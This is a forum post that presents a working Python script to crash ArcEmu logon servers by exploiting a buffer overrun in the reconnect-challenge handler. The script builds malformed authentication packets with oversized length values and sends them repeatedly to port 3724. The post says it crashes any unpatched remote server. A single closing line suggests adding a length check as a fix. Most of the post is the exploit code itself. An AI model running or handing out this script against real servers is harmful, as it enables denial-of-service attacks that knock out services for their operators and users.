Crashing ArcEmu for fun and profit. menu

User Tag List

Results 1 to 1 of 1
  1. #1
    christinaa's Avatar Private
    Reputation
    1
    Join Date
    Dec 2012
    Posts
    1
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Crashing ArcEmu for fun and profit.

    I was feeling bored so I've decided to try crashing ArcEmu. After 10 minutes I found a trivial buffer overrun vulnerability in the logon server.

    So I wrote this simple python script that can crash the logon server. So yeah, there we go. Tested on 'ArcEmu 4.0-TRUNK 40e202f/Release-Linux (X86)', sometimes this just causes a segfault and sometimes it causes a double free in which case glibc causes a trap (either way, it's a crash).

    To clarify, this can crash any remote ArcEmu logonserver that doesn't have this fixed.

    Code:
    # whoop whoop
    # bug in AuthSocket::HandleReconnectChallenge
    
    import socket
    import struct
    
    def pk(x, *xx):
    	return struct.pack(x, *xx);
    
    def to_fourcc(i):
    	return pk('4s', i)
    
    print("connecting ...");
    
    def emit_bad_challenge(ln):
    	# construct auth challenge 
    	ac = '';
    
    	# 2 = AuthSocket::HandleReconnectChallenge
    
    	## header ##
    	ac += pk('BBH', 2, 0, 80); # cmd, error, size
    
    	## body ##
    	ac += to_fourcc('WoW '); # magic
    	ac += pk('BBB', 0x00, 0x80, 0x00); # version1,2,3
    	ac += pk('H', 12340); # build 
    	ac += to_fourcc('x86 '); # platform
    	ac += to_fourcc('Win '); # os
    	ac += to_fourcc('enUS'); # country
    	ac += pk('i', -419); # timezone bias
    	ac += pk('i', 0); # ip
    	ac += pk('B', ln); # len
    	ac += pk('50s', ' ');
    
    	return ac
    
    def send_junk(sock, k):
    	ac = emit_bad_challenge(k);
    	x = sock.send(ac);
    	print("\tsend_junk: %d (length = %d, sent = %d)" % (k, len(ac), x));
    
    
    for i in range(50, 255):
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    	s.connect(("10.211.55.3", 3724));
    	print("> %s" % s);
    	send_junk(s, i);
    To fix, add a length check in AuthSocket.cpp before the 'm_challenge.I[m_challenge.I_len] = 0;' thing.
    Last edited by christinaa; 12-17-2012 at 01:16 PM.

    Crashing ArcEmu for fun and profit.

Similar Threads

  1. BOE Vendor Recipes for Professions And Profits
    By aboone in forum World of Warcraft Guides
    Replies: 5
    Last Post: 05-04-2012, 05:13 AM
  2. [Guide] Solo Wrath 5 mans for fun and Gold.
    By jazman84 in forum World of Warcraft Guides
    Replies: 4
    Last Post: 11-19-2010, 09:31 AM
  3. Replies: 12
    Last Post: 04-03-2009, 02:03 PM
  4. [Paladin] Solo Gahz'ranka for fun and profit!
    By Kauppaneuvos in forum World of Warcraft Guides
    Replies: 14
    Last Post: 06-27-2008, 11:20 PM
  5. So I'm Bored and lookin for FUN!
    By ZexZ in forum Community Chat
    Replies: 18
    Last Post: 04-08-2008, 10:57 AM
All times are GMT -5. The time now is 05:08 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search